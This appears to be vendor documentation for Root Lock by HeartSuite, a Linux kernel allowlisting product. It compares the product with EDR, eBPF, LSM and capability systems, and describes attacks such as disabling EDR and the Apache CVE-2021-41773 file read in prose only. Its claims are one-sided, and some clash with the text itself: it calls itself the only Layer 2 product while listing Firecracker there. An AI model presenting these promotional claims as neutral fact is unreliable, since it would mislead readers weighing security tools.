Linux EDR agents (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, FortiEDR)Kernel module or eBPF agent providing telemetry, detection, and responseRoot can kill the agent process, unload the kernel module, or tamper with the driver. Many breaches include “disable EDR” as an early stepRoot Lock by HeartSuite has no agent and no module to unload — it is the kernel. When attackers use legitimate tools rather than new malware — the pattern in most modern breaches — EDR detects the suspicious behavior. Root Lock by HeartSuite constrains it differently: even a legitimate tool can only reach the files and network destinations its allowlist entry approves. Note: EDR provides telemetry and response Root Lock by HeartSuite does not. Treat Root Lock by HeartSuite as a replacement for the preventive-enforcement dimension only; for detection and response, see the complementary table below. EDR agents that deploy via eBPF cannot attach on-host — the BPF syscall is not present on the HeartSuite kernel. Under Lockdown, agents that install as kernel modules are blocked without an allowlist entry — the same gate that applies to every other program. Both HS syslog streams — per-decision enforcement events and aggregated alerts — reach the EDR ingestion pipeline via a single rsyslog forwarding rule, with no external tooling required. Detection and response coverage continues through the log pipeline without an on-host sensor.

The common pattern. Every product in this table can be disabled by an attacker who has already reached root. Root Lock by HeartSuite cannot — its enforcement is compiled into the kernel and its allowlist is sealed by filesystem immutability under Lockdown. This requires a different operational model, discussed in Circumvention and Recovery.

What each tool does best. Bypass surface is one dimension of comparison, not the whole picture. Each product above retains strengths Root Lock by HeartSuite does not replicate.

eBPF observers — Falco, Cilium Tetragon, Sysdig Secure, Tracee, and bpftrace — ship mature rule libraries, Kubernetes-aware context, and fleet-wide runtime telemetry. For behavioural alerting on Kubernetes nodes — particularly autoscaled clusters where the HeartSuite kernel’s deliberate omission of the BPF syscall makes on-host eBPF tooling a non-fit — those tools remain the right answer, and they can observe a Root Lock by HeartSuite host from adjacent infrastructure via network taps or log forwarding.

Userspace LSM frameworks — AppArmor, SELinux, SMACK, Landlock — offer policy capabilities Root Lock by HeartSuite does not replicate: SELinux refpolicy and domain transitions, AppArmor’s distribution-shipped per-application profiles, Landlock’s per-application self-confinement primitive. Root Lock by HeartSuite’s value is the sealed boundary — chattr +i immutability plus a running kernel that refuses runtime changes — not richer policy syntax. Migrating from AppArmor requires no cleanup: CONFIG_SECURITY_APPARMOR is compiled out of the HeartSuite kernel and existing profiles cease to apply at the first HeartSuite kernel boot.

seccomp-bpf sandboxes in systemd services, browser sandboxes, bubblewrap, and firejail sit closer to the syscall surface than Root Lock by HeartSuite can. A Chromium renderer’s own seccomp filter is genuine defence-in-depth from inside the program; Root Lock by HeartSuite does not replace it, and both layers are worth keeping.

gVisor addresses a different threat model — host protected from untrusted guest, via a userspace syscall-emulating kernel. Root Lock by HeartSuite addresses workloads protected from compromised root inside the kernel they run on. The two compose: Root Lock by HeartSuite as the guest kernel inside a gVisor-isolated container is a coherent stack.

Linux EDR — CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, FortiEDR — provides telemetry, behavioural analytics, fleet-wide correlation through a SOC console, threat intelligence, and incident response. Root Lock by HeartSuite provides none of those. The honest position is prevention versus detection; most regulated environments run both, with HS block events forwarded to the EDR ingestion pipeline via the syslog channel rather than an on-host sensor.

Capability-based confinement

Capsicum (FreeBSD) operationalizes the same core thesis as Root Lock by HeartSuite: ordinary programs should not have unrestricted default access to the global OS namespace. It is the most architecturally principled approach to that problem outside of Root Lock by HeartSuite, and the comparison is worth being direct about.

How Capsicum works. After cap_enter(), any syscall that traverses a global namespace — open() with an absolute path, kill() with a PID — returns ECAPMODE immediately. Default access paths through the OS are severed at the syscall boundary. Per-FD rights masks then control what operations each open file descriptor permits. The design enforces this directly: no path through the global namespace means no access.

What structural elimination costs. Every sandboxed application — or a wrapper around it — must be rewritten. The application calls cap_enter(), pre-opens every file descriptor it will ever need before that call, and uses openat(fd, …) relative to those FDs thereafter. Sandboxing OpenSSH under Capsicum required explicit modifications to sandbox-capsicum.c. Libcasper exists specifically to handle operations that cannot be pre-opened — DNS lookups, /etc/passwd reads — via a dedicated delegation channel. For software you write yourself, the model is clean. For a fleet of existing Linux binaries you did not write, it means modifying every program you want to protect — or not protecting it.

How HS reaches the same goal without application changes. VFS hook points in namei.c, open.c, exec.c, and exit.c intercept path traversal and check the calling process’s allowlist entry against the path. Network hooks in socket.c check outbound routable connections — both connect() calls and sendto() calls with an explicit destination address — against the program’s IP allowlist; local IPC over UNIX domain sockets and NETLINK is exempt by design. Default access paths are filtered rather than severed. Existing Linux binaries run without modification; Root Lock by HeartSuite observes what they do and enforces the allowlist against it. Root Lock by HeartSuite makes this choice — hook-at-VFS rather than cap_enter-before-first-access — precisely to enable application transparency: no binary needs to be rewritten to be protected.

The Setup Mode gap. Capsicum has no learning phase. Policy lives in application source code, written at development time by the developer who wrote the application. There is no “observe what this binary actually needs at runtime, then derive its allowlist” workflow. For any environment running software it did not write — which is most production infrastructure — HS’s Setup Mode is the practical path: record what the binary does, review, approve, then lock. Capsicum offers no equivalent.

The policy-integrity gap. Because Capsicum’s policy is application code, there is no runtime policy database to protect after deployment. Root Lock by HeartSuite maintains an allowlist database, and Lockdown seals it — chattr +i across the relevant paths plus a kernel flag that blocks chattr via the ioctl hook at runtime, so no running program can remove the immutability. That second layer — protecting the policy itself from an attacker who has already reached root — has no analogue in Capsicum’s design, because Capsicum never needed it. Root Lock by HeartSuite needs it precisely because its policy is something an attacker would want to modify.

Platform. Capsicum is primary on FreeBSD. Linux support is incomplete. HS targets Linux 5.19.6 and 6.18 natively.

The two designs make opposite choices: modify the application, or maintain a policy database. For a Linux fleet running software you did not write, Root Lock by HeartSuite’s approach — maintain the database, get transparency and the full Setup → Lockdown lifecycle — is the one that covers the workload.

Formally verified microkernels

seL4 is the benchmark for machine-checked security guarantees in an OS kernel. Its proofs establish that every syscall behaves exactly as specified, that no information can pass between components without an explicit connection, and that these properties hold in the compiled binary on select platforms. Root Lock by HeartSuite and seL4 share the same goal — prevent programs from reaching resources they were not explicitly granted access to — and diverge on almost everything else.

How seL4 works. seL4 is a microkernel of roughly 10,000 lines of C backed by machine-checked proofs. Every kernel object — memory region, communication channel, thread control block — is named and accessed through an unforgeable token. A process starts with exactly the tokens its creator delegates, nothing more. To reach a file, a process must hold a token for that file’s underlying storage. To message another process, it must hold a token for the communication channel. There is no global path namespace to traverse: if you do not hold the token, the kernel rejects the call before any check fires.

What those guarantees require in practice. seL4’s proofs depend on keeping the kernel small enough that every line can be verified — roughly 10,000 lines of C. That means seL4 contains no file system, no network stack, no device drivers. Every service that exists in a standard Linux installation — SSH, package management, web server, any application — must be rebuilt as a userspace component with explicit token grants. Existing Linux software does not run on seL4 without a full OS porting effort. For a commercial server running standard software, deploying seL4 means replacing the entire software environment, not just the kernel.

How Root Lock by HeartSuite enforces the same principle on existing software. Root Lock by HeartSuite installs as a modified Linux kernel on a host already running standard software. Root Lock by HeartSuite controls whether each program can execute, which files it can read or write, and which network connections it can make — the existing binaries run without modification. Root Lock by HeartSuite observes what each binary does during Setup Mode; you build the allowlist through the Dashboard queues, review and approve, then engage Lockdown. The guarantee is a kernel-enforced allowlist on the software the host already runs.

The Setup Mode gap. seL4 has no learning phase. Token grants are designed at system build time by the developer who builds the system. There is no “observe what this service actually needs at runtime, then derive its policy” workflow. Root Lock by HeartSuite’s Setup Mode is the practical answer for standard infrastructure: run the system, record every access in the Dashboard queues, review and approve, then engage Lockdown. For any environment running standard Linux software, Root Lock by HeartSuite’s Setup Mode provides the observe-and-build path that seL4 cannot offer.

The policy-integrity gap. seL4 has no policy database; authority is the token set, which is structural. Root Lock by HeartSuite maintains an allowlist database, and Lockdown seals it: chattr +i across the relevant paths plus a kernel flag that blocks chattr via the ioctl hook at runtime, preventing any running program from modifying the allowlist. The two approaches defend at different layers: seL4 makes authority impossible to forge; Root Lock by HeartSuite makes the allowlist impossible to modify after Lockdown engages.

Platform. seL4 is not a Linux kernel; standard Linux software requires a full porting effort to run on it. Root Lock by HeartSuite targets Linux 5.19.6 and 6.18 and is installed by replacing the kernel on an existing host.

The two approaches make opposite foundational choices: build the OS from a proof up, or enforce on the software stack that already exists. For commercial infrastructure running standard Linux software, Root Lock by HeartSuite is the option that ships.

Object-capability operating systems

Fuchsia (Google) is a production operating system built on Zircon — a microkernel where every resource is accessed through an unforgeable handle. Like seL4, its security model is structural: no handle means no access, at the kernel boundary, before any policy database is consulted. Fuchsia adds two architectural properties that seL4 does not emphasize: per-component private namespaces and cryptographic verification of every executable.

Private namespaces. In Fuchsia, each component receives an explicitly assembled filesystem view — its /svc/, /data/, and /pkg/ entries are handle-routed by the Component Framework. There is no global root filesystem visible to all components. A compromised component cannot traverse upward to discover paths it was not given handles to; those paths do not exist in the component’s view. Root Lock by HeartSuite enforces on a global Linux filesystem. Root Lock by HeartSuite controls whether a program can access a given path, but the path still exists and an access attempt returns an error rather than silence. Root Lock by HeartSuite’s global filesystem is what makes existing Linux software run unchanged — the same choice that allows deployment on any existing Linux server.

Cryptographic integrity. Fuchsia verifies every executable through BlobFS — a storage layer where each file is identified by its hash and verified before execution. Replacing a binary silently is structurally impossible. Root Lock by HeartSuite seals the allowlist database and critical system paths at Lockdown with chattr +i filesystem immutability plus a kernel flag that blocks any running program from clearing those flags — no program, including root, can modify the allowlist or the protected system paths while Lockdown is active. Full cryptographic verification at boot requires building the OS around content-addressed storage from scratch. Root Lock by HeartSuite’s Lockdown provides runtime tamper-resistance on the Linux infrastructure already in production.

The Setup Mode gap. Fuchsia has no learning phase and no operator-facing allowlist tooling for standard server software — because standard server software does not run on Fuchsia. Root Lock by HeartSuite’s Setup Mode records what each binary does; you review and approve through the Dashboard queues, then engage Lockdown. The workflow exists because Root Lock by HeartSuite deploys on the software stack already running in production.

Platform. Fuchsia targets embedded devices and consumer hardware. It is not a Linux kernel and has no server deployment path. Root Lock by HeartSuite targets Linux 5.19.6 and 6.18 server deployments and is installed by replacing the kernel on an existing host.

Fuchsia’s security architecture is more restrictive at every layer: per-component namespaces, cryptographic verification, handle-only access, userspace drivers. Root Lock by HeartSuite provides enforced per-program allowlisting on existing Linux deployments without rebuilding the OS. For any organization running Linux infrastructure today, Root Lock by HeartSuite is the option that deploys.

Trust boundaries and bypass surface

Three questions cut to the core of any enforcement mechanism: who is trusted to set the policy, who is gated at runtime, and what does a bypass look like?

graph LR
    A[Attacker gains root] --> B["eBPF agent\n(Falco, Tetragon)"]
    A --> C["LSM framework\n(AppArmor, SELinux)"]
    A --> D["seccomp sandbox\n(bubblewrap, firejail)"]
    A --> E["Linux EDR agent\n(CrowdStrike, SentinelOne)"]
    A --> F["Root Lock by HeartSuite"]
    B --> G["Kill agent or\nunload BPF program"]
    C --> H["Set permissive or\nreload policy"]
    D --> I["Launch same binary\nwithout the filter"]
    E --> J["Kill driver or\nBYOVD bypass"]
    F --> K["Physical presence\nrequired"]
    G --> L["Protection disabled ✗"]
    H --> L
    I --> L
    J --> L
    K --> M["Protection intact ✓"]

The table below answers each question in full for the main enforcement mechanisms alongside Root Lock by HeartSuite.

MechanismTrusted during setupUntrusted at runtimeHow enforcement is bypassed
eBPF observation and enforcement (Falco, Cilium Tetragon, Sysdig Secure, Tracee, bpftrace)Admin who writes the rulesProcesses the agent observes (Tetragon and Sysdig can kill in-kernel)Root unloads the BPF program, kills the agent, or disables the BPF syscall
Userspace LSM frameworks (AppArmor, SELinux, SMACK, Landlock)Admin who authors the policy filesProcesses labelled or confined by policyRoot sets the framework permissive, reloads a relaxed policy, or edits the policy file
seccomp-bpf sandboxes (bubblewrap, firejail, systemd, browser sandboxes)The parent process that sets the filterThe child process the filter applies toA sibling process launched without the filter is unaffected — filters are scoped to a process tree, not a program identity
gVisorContainer runtime administratorSyscalls from inside the sandboxed containerCompromise the gVisor sentry process, or exploit a syscall-emulation bug
Linux EDR agents (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, FortiEDR)SOC team via a cloud consoleMonitored processesRoot kills the agent, unloads the driver, or exploits a BYOVD bypass
Root Lock by HeartSuiteYou in Setup Mode; allowlist sealed by LockdownEvery program, including those running as rootPhysical presence required to boot the maintenance kernel — no remote path

Two differences carry the position. Every mechanism above narrows the runtime trust boundary to a subset of processes — one container, one labelled domain, one process tree, one observed program. Root Lock by HeartSuite narrows it to every program via a system-wide allowlist, root included. And where every competitor’s bypass is something an attacker can do remotely once they have root, Root Lock by HeartSuite’s bypass requires physical presence at the console. Those two shifts are the substance of the Root Lock by HeartSuite position.

The May 2026 TanStack npm attack illustrated the trust-boundary distinction from the supply chain direction. The attacker operated inside a legitimate build pipeline using valid credentials — SLSA provenance, OIDC, and 2FA all functioned as designed. No credential check or trust-chain verification registered anything to block. Root Lock by HeartSuite’s per-program network allowlist bounds what pipeline processes can reach from the host regardless of credential validity; connections to unapproved destinations are refused at the kernel.

What Root Lock by HeartSuite complements

These products do not overlap with Root Lock by HeartSuite. They answer different questions, and mature security programs run both.

CategoryRepresentative productsWhat they doWhere they take over
SIEM / SOARSplunk Enterprise Security, Microsoft Sentinel, Elastic Security, IBM QRadar, Sumo Logic, Graylog, Wazuh, Cortex XSOAR, FortiSIEM, FortiSOARIngest logs from hosts and applications across a fleet, correlate events, alert analysts, drive playbook-based responseRoot Lock by HeartSuite blocks and logs on a single host. Fleet correlation, cross-host alerting, and playbook response are what SIEM is built for — and Root Lock by HeartSuite’s activity log is a direct input to it. Block events reach a SIEM via two RFC 5424 syslog streams, both delivered to /dev/log with APP-NAME heartsuite — one rsyslog rule forwards both: :programname, isequal, "heartsuite" @@your-siem:514. The enforcement stream emits one datagram per kernel decision (MSGID HS-PROG-DENY, HS-FILE-DENY, HS-FILE-WDENY, HS-NET-DENY; structured data carries type, prog, and target; lag ≤1 second). The alert stream carries aggregated events (new_program_blocked, network_burst, and others). For push notifications, an HTTPS webhook (JSON; native PagerDuty Events API v2 and OpsGenie Alert API adapters) delivers alert-level events only — webhook and email timestamps reflect alert evaluation time, not kernel event time; when correlating across sources, account for up to the daemon poll interval (typically 30–60 s).

Every allowlist approval action (programs, file paths, and network destinations) is written to a dedicated, persistent JSONL log that records timestamp, uid, and tty. This gives a machine-readable, session-attributable history of policy changes. An always-on rotating application audit log records UI and core operational events and errors. Lockdown advisories are generated from verdict logic with direct provenance back to the underlying allowlist state and decision records rather than from unfiltered event dumps. The combination of the per-decision enforcement stream, the dedicated approval log, and the application audit log produces a reconstructible record that security teams and auditors can use to trace what the system did, when, and why. | NDR / NTA | Darktrace, ExtraHop Reveal(x), Vectra AI, Corelight, Cisco Secure Network Analytics, FortiNDR | Passive network sensing, behavioural flow analysis, lateral-movement detection, encrypted-traffic fingerprinting | Root Lock by HeartSuite controls which programs reach which destinations. Traffic content, behavioural flow analysis, and cross-host correlation are what NDR is built for. | | Vulnerability management | Tenable Nessus, Qualys VMDR, Rapid7 InsightVM, Greenbone, Wiz, Orca | Enumerate installed packages and services, match against CVE databases, produce a prioritised patch list | Root Lock by HeartSuite reduces the blast radius of an unpatched CVE — a vulnerable but allowlist-bounded program cannot escalate beyond its allowlist. Mapping what needs patching is what vulnerability scanners are built for, and SOC 2, PCI DSS, and ISO 27001 require them as a distinct control. Agent-based scanners (Tenable Nessus Agent, Qualys Cloud Agent) run as allowlisted programs — run the scanner during Setup Mode so HS logs its programs and file access paths, then review and approve the entries through the Dashboard queues. Network-based scans from an external host reach the HS system over its normal network stack without special configuration. | | HIDS / FIM | OSSEC, AIDE, Tripwire, Samhain, Wazuh | File-integrity monitoring, log-based intrusion detection, rootkit signatures | Root Lock by HeartSuite enforces file integrity via Lockdown; HIDS adds independent alerting on unexpected change. Redundancy matters — different products have different failure modes. |

Root Lock by HeartSuite makes a class of attacks impossible rather than merely visible. Your SIEM, NDR, and VA scanner work on what remains — a smaller, more focused set of events.

Where a separate kernel is required

Root Lock by HeartSuite deliberately omits certain kernel features — overlay, user namespaces, BPF — because they are the attack surface, path to root, and bypass primitives the design removes. Workloads that need them run on the maintenance kernel or a separate system:

  • Kubernetes nodes with dynamic container scheduling after Lockdown — many instances of the same binary are supported, but new mounts for HPA scale-out or rescheduling are refused. Fixed pod sets before Lockdown work via the Container-host install; see Deployment Scenarios.
  • Falco, Cilium Tetragon, bpftrace, and similar eBPF tools — the BPF syscall is deliberately absent. This closes the verifier bypass surface and prevents unloading of enforcement. Observe from adjacent hosts via syslog instead.
  • Hypervisor hosts running VMs via KVM — KVM host features are compiled out to reduce attacker reach. Root Lock by HeartSuite runs as a guest, not a host.
  • Systems that require rootless containers — unprivileged user namespaces are omitted; they are a path to privilege escalation without credentials. Use a separate host.

See System Requirements → Software Compatibility Notes for the full list.

For CISO and procurement evaluation of the HeartSuite kernel itself in enterprise fleets (including operational models, Secure Boot roadmap, and alternatives), see the Kernel Hardening → Enterprise Adoption Guide.

Circumvention and recovery

Every security system has a known way to be taken out of the picture. Being explicit about it is how customers evaluate fit.

Root Lock by HeartSuite’s allowlist can be changed through one path only:

  1. Maintenance window — you switch to Setup Mode, make changes, and re-engage Lockdown. Logged and intentional.
  2. Lockdown recovery — when Lockdown is active, the allowlist cannot be edited even by root on the Root Lock by HeartSuite kernel. Recovery requires booting the maintenance kernel, using the Dashboard’s Maintenance ([m]) to remove the seal, and rebooting back. Booting the maintenance kernel requires physical presence — a keyboard and monitor at the machine, a serial port, or your cloud provider’s serial console. An attacker without physical presence cannot take this path.

What this means for security:

  • Remote root alone is not sufficient to defeat enforcement. There is no agent to kill, no kernel module to unload, no LSM policy to set permissive, and no way to remotely force a reboot into the maintenance kernel.
  • Defeating Root Lock by HeartSuite requires physical presence — a keyboard and monitor at the machine, a serial port, or your cloud provider’s serial console. SSH access, regardless of privilege level, is not sufficient.
  • Physical presence always returns control to you — no software applied to the system can prevent it.

Compare this to the products in the first table: in most of them, remote root is sufficient to disable enforcement. Root Lock by HeartSuite is deliberately not in that category.

Nothing the attacker ran survives a reboot.

To see the three enforcement mechanisms tested against real attacks — including what happens when attackers stay within approved boundaries — see When Root Isn’t Enough.

The compliance answer. SOC 2, PCI DSS, and ISO 27001 each include a privileged-access control question: can an administrator, or an attacker who has compromised one, remotely disable security controls? Under Lockdown, no remote path — including root — can modify the allowlist or disable enforcement. Bypass requires the physical presence described above. Every product in the bypass table earlier in this page can be disabled by an attacker with remote root; Root Lock by HeartSuite cannot. For managed security providers, this is the answer they give to auditors — the same for every HeartSuite-protected server they manage in financial services, healthcare, and defence.

1.6 - Security as Economics

Attacker cost, defender operational cost, and ROI comparison — how Root Lock by HeartSuite changes the economics of every attack that reaches the host.

No security control is unconditionally unbreakable. The right question is not “can this be defeated?” but “what does defeating it cost the attacker — and what does operating it cost the defender?”

No false positives in blocking. In Lockdown, Root Lock by HeartSuite does not scan, score, or guess. A program either has an allowlist entry for the action it is attempting, or it does not. Permitted actions pass without interruption. Unpermitted actions are blocked. Every blocking decision is exact — not a detection estimate.

The boundary holds regardless of privilege. A process running as root can only reach the files its allowlist entry permits. Credentials, configuration, and data outside that slice are unreachable regardless of privilege level. Network destinations outside the allowlist are unreachable regardless of privilege level. Under Lockdown the allowlist itself is sealed — even root cannot edit it remotely. Each additional step the attacker takes requires a new custom exploit targeted at the specific program and allowlist slice they are confined to. The cost compounds. At some point the attack is no longer worth finishing.

Cost to implement. A finite window: run the programs you want to allow, the allowlist builds, engage Lockdown. Most customers complete it during a standard change window.

Operational cost

Patching urgency. CVE classes that correspond to compiled-out kernel features do not generate emergency patch windows — the feature is absent, and no CVE in that class applies regardless of when the patch ships. For CVEs in features that are present, a vulnerable program whose allowlist scope is bounded has a structurally limited blast radius. The remediation is real; the urgency is not. Patch batching on schedule, rather than emergency change windows, is the practical result.

Alert reduction. An attack that cannot progress past the kernel gate does not generate a SIEM or EDR alert. A binary that cannot execute never triggers a process-execution event. An outbound connection refused at the kernel never appears in NDR telemetry as a beacon or data-loss event. This is not alert filtering — the event never occurs. The alert classes this eliminates carry the highest triage cost: unauthorized execution, unauthorized exfiltration, and novel outbound destinations.

Maintenance. No signature updates. No rule libraries. No agent fleet. The allowlist changes when software legitimately changes — new binaries, updated dependencies, changed network destinations — in a maintenance window on your schedule. The more frequently software changes, the more frequently those windows are needed. For software that updates daily — package managers pulling live repositories, or applications shipping a new binary on each release — a maintenance window is required each time. That is low overhead on monthly or quarterly patch schedules; at daily cadence it compounds. Root Lock by HeartSuite fits well where the software stack is stable or follows a defined update process.

ROI compared

SELinux and AppArmor. LSM policy is a sustained engineering cost: SELinux refpolicy domain authoring, AppArmor profile maintenance, permissive-mode exceptions that accumulate under operational pressure, and policy audits before each OS upgrade. Each policy file is hand-authored and must be updated when software changes. Root Lock by HeartSuite’s allowlist is built by observation during Setup Mode — the kernel records what programs actually do and presents it for approval. The difference compounds over years: one observation-driven setup session versus ongoing policy authorship and drift management.

Zafran and risk-prioritization tools. Zafran, Nucleus, Vulcan Cyber, and similar tools correlate CVEs against your deployed controls to identify which patches are actually urgent. They do not enforce anything at runtime. Root Lock by HeartSuite reduces the urgency of items these tools surface: an unpatched CVE in a program whose allowlist scope is bounded has a structurally limited blast radius — a legitimate but lower-priority remediation. The two compose: a risk-prioritization tool can correctly de-prioritize CVEs in Root Lock by HeartSuite-bounded programs because the enforcement is verifiable and the blast radius is documented.

Linux EDR. CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint generate alerts that require analyst triage. The attack classes Root Lock by HeartSuite prevents — unauthorized binary execution, file access outside approved scope, outbound connections to unapproved destinations — never reach the EDR because the attack cannot progress past the kernel gate. Fewer alerts is not filtering; it is that the attack class is structurally absent from the host. EDR’s telemetry, behavioural analytics, and incident response capabilities remain valid for what Root Lock by HeartSuite does not cover. The honest position: Root Lock by HeartSuite changes what the EDR has to process, not whether you run one.

Cost to buy. Root Lock by HeartSuite replaces the preventive-enforcement layer of several overlapping tools, leaving detection and response capabilities intact. What that means in practice for each category:

  • Commercial eBPF enforcement tools (Sysdig Secure, commercial Falco, Cilium Tetragon) — Root Lock by HeartSuite removes the BPF syscall by design. These tools cannot run on the HS kernel (and their role is covered by the allowlist). Budget line removed; stronger prevention gained.
  • gVisor — if you are running it solely to protect workloads from root-level compromise inside a container or VM, Root Lock by HeartSuite is a direct replacement as the guest kernel. No second userspace kernel layer.
  • The blocking dimension of Linux EDR (CrowdStrike Falcon, SentinelOne, MDE) — prevention is replaced; telemetry, behavioural analytics, and SOC console are not. Some vendors offer lighter-tier pricing for telemetry-only deployments.
  • AppArmor and SELinux — no licensing cost, but the policy-authoring overhead is real; see the SELinux comparison above.

Whether the licensing savings cover the Root Lock by HeartSuite subscription depends on your current stack. The operational consolidation — no signature updates, no rule libraries, no agent fleet — is consistent regardless.

CTEM programs — Continuous Threat Exposure Management — cover exposure discovery, prioritisation, and validation across a whole estate: continuously mapping what an attacker could reach and ranking what to fix first. That scope fits large organisations managing complex, heterogeneous environments. For most deployments it is broader than the problem and carries corresponding cost. Root Lock by HeartSuite addresses one specific problem: the OS design assumption that grants every running program the file and network rights of the user who launched it. Removing that assumption at the kernel level does not require a continuous discovery and ranking program.

The CISO case. An attacker who reaches root still cannot exceed the per-program, per-file, per-IP boundaries already in place. The blast radius is structurally bounded — not detected after the fact, not mitigated after the fact, bounded before anything runs. That changes the economics of every attack that reaches the host. It does not eliminate breach risk. It makes lateral movement, exfiltration, and privilege escalation substantially more expensive to execute — before detection has a chance to respond.

1.7 - Linux Security Layer Analysis

A taxonomy of Linux host security products by enforcement layer — where each mechanism sits in the stack and what that means for bypass surface.

Purpose: Security audits and competitive evaluations often group products by vendor category — EDR, SIEM, NDR — without capturing where in the kernel stack enforcement actually happens. This page maps Linux host security products to the enforcement layer they occupy. Layer placement determines bypass surface: a product enforcing at Layer 2 cannot be disabled by a mechanism that only reaches Layer 3 or above.

Layer definitions

LayerNameWhat lives here
1Hardware / firmwareCPU microcode, UEFI/BIOS, Secure Boot chain, TPM
2KernelThe running kernel binary and its compiled-in configuration
3LSM / kernel hooksIn-tree LSM frameworks, eBPF programs attached to kernel hooks
4Userspace sandboxAgents and runtimes that compose Layer 3 primitives — run as userspace processes
5Userspace telemetry / responseKernel-module or eBPF agents primarily providing detection, alerting, and response
Adj.Complementary controlsProducts that answer different questions — no enforcement overlap with Layers 2–5

The higher the layer, the more layers beneath it an attacker can leverage to disable it. A Layer 5 agent can be killed by a process with root. A Layer 3 LSM policy can be set permissive by root. A Layer 2 kernel configuration cannot be changed without rebooting into a different kernel. For a visual representation of this by product, see Kernel architecture.

Product map

Layer 2 — Kernel-embedded enforcement

MechanismProducts
Kernel-embedded allowlist / stripped kernelRoot Lock by HeartSuite, custom hardened kernels, unikernels
Hardware-virtualized micro-isolationFirecracker, Kata Containers, Cloud Hypervisor

Enforcement is part of the kernel binary. Changing it requires a reboot into a different kernel. Remote root is not sufficient to disable it.

Layer 2–3 — Userspace-process-run-as-kernel

MechanismProducts
Userspace syscall-emulating kernel (intercepts container syscalls)gVisor (sentry process)

gVisor intercepts container syscalls in a userspace process that acts as the container’s kernel, reducing exposure to the host kernel. The sentry process runs in userspace and can be compromised; a bug in its syscall emulation can allow escape. Root Lock by HeartSuite running as a guest kernel inside a gVisor-isolated container is a coherent composition — see How It Compares → gVisor.

Layer 3 — LSM hooks (in-tree)

MechanismProducts
Mandatory Access Control LSMSELinux, AppArmor, SMACK, Tomoyo
Capability / path-based LSMLandlock, Yama, LoadPin

Policy is applied to a running kernel from outside. Root with the right capability can set SELinux permissive, unload an AppArmor profile, or modify a policy file without rebooting.

Layer 3 — LSM hook + eBPF programs

MechanismProducts
eBPF programs attached via KRSI / LSM BPFTetragon (Cilium), Cilium network path, KRSI primitives

eBPF programs are loaded into a running kernel at runtime. Root can unload the BPF program or kill the agent that loaded it.

Layer 3–5 — eBPF observability with optional in-kernel kill

MechanismProducts
eBPF detection; optional kill signalFalco (detection only, no kill), Tetragon (detect + kill), Sysdig Secure

These products span layers depending on configuration: eBPF programs run at Layer 3, the userspace agent sits at Layer 5. The kill capability (where present) runs in-kernel but is loaded and managed by a userspace process.

Layer 4 — Userspace agent sandbox

MechanismProducts
Userspace runtime composing seccomp-bpf, namespaces, cgroupsbubblewrap, Firejail, Flatpak sandbox, Snap confinement, OpenShell (NVIDIA)

These tools set up confinement using kernel primitives (seccomp-bpf, Linux namespaces) from userspace. Filters are scoped to a process tree launched by the agent — a sibling process launched without the agent is unaffected.

Layer 5 — Agent-based EDR / XDR

MechanismProducts
Kernel module or eBPF agent: telemetry, detection, responseCrowdStrike Falcon, SentinelOne Singularity, Microsoft Defender for Endpoint, Elastic Defend, Wazuh

The agent provides detection and response capabilities that Root Lock by HeartSuite does not replicate. Most modern breaches include “disable EDR” as an early step — root can kill the agent process, unload the kernel module, or exploit a BYOVD path. Treat these as complementary to Layer 2 enforcement, not substitutes.

Complementary controls (no enforcement overlap)

These products do not overlap with Layers 2–5 enforcement. They answer different questions and should run alongside host enforcement.

CategoryProductsWhat they answer
SIEM / SOARSplunk, Elastic Security, Microsoft Sentinel, IBM QRadar, Sumo Logic, Graylog, Wazuh, Cortex XSOAR, Tines, TorqFleet-wide event correlation, alerting, playbook response
NDR / NTADarktrace, ExtraHop Reveal(x), Vectra AI, Corelight, Cisco Secure Network Analytics, Arista NDRPassive network behavioral analysis, lateral-movement detection
Vulnerability / postureTenable Nessus, Qualys VMDR, Rapid7 InsightVM, Greenbone/OpenVAS, Wiz, Orca, Snyk, Trivy, Grype, ClairCVE enumeration, patch prioritization, posture scoring
HIDS / FIMOSSEC, AIDE, Tripwire, SamhainAlert-only file-integrity monitoring, no blocking
Backup / recoveryVeeam, Rubrik, Cohesity, BackupPC, resticRecovery from destructive events — separate category

Takeaway

Root Lock by HeartSuite is the only product in this map sitting squarely at Layer 2 as a kernel-embedded allowlist enforced across all programs including root. Every other host enforcement product sits at Layer 3 (LSM hooks, eBPF programs) or higher — meaning a sufficiently privileged attacker can disable it remotely without rebooting. The Layer 2 position is what makes physical presence the only bypass path.

For the product-by-product comparison with bypass analysis, see How It Compares.

1.8 - When Root Isn't Enough

How Root Lock by HeartSuite’s three enforcement mechanisms hold against real attacks — one example per mechanism, including what it does not cover.

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user. Each section below targets one of these three mechanisms with a real attack. Every example involves root access. In each case, root is not enough.

Each attack below was actively exploited within days of its disclosure. The gap between a vulnerability being published and attackers using it has collapsed to hours, not weeks. Patching cannot keep pace. Root Lock by HeartSuite’s enforcement blocks these attacks regardless of whether the vulnerable software has been patched — because it gates what each program can reach, not whether a vulnerability exists.

A new program tries to run

The attack. An attacker gains a foothold on a server — a compromised web application, a stolen credential, a misconfigured service. Their next move is to get more capability. They download a tool: a reconnaissance script, a credential dumper, a reverse shell. On a standard Linux server, a file downloaded to /tmp is executable the moment it arrives. As root, there are no further gates.

What Root Lock by HeartSuite does. Every program must have an allowlist entry before the kernel will run it. A file downloaded to /tmp has no entry — it was never observed during Setup Mode, never reviewed, never approved. The kernel refuses to execute it. The attacker has a file. They cannot run it.

This applies equally to interpreted scripts. A malicious Python script dropped at /tmp/attack.py has no allowlist entry for that path. Root Lock by HeartSuite’s Secure Script Launchers give each script its own allowlist entry, separate from the interpreter. Python runs. The unauthorized script does not.

What it does not cover. If the attacker already controls an approved program and issues commands within that program’s approved scope, this particular gate does not apply. The other two still do: the program can only read and write files in its allowlist, and only connect to destinations in its network allowlist. And every attempt to launch a new program returns to this gate — any new program without an allowlist entry is blocked. See When Attackers Stay Within Approved Boundaries for the full picture.


An approved program reads what it shouldn’t

The attack. CVE-2021-41773 — Apache HTTP Server 2.4.49. A flaw in how Apache validates URL paths allows an attacker to craft a request that escapes the web root. Apache fetches and returns arbitrary files from the filesystem. The attacker requests /etc/passwd. Apache reads it and returns it. No authentication required.

The traditional defense — run Apache as www-data with limited permissions — does not help when the attacker targets files that www-data can legitimately read. On most systems, /etc/passwd is world-readable by design.

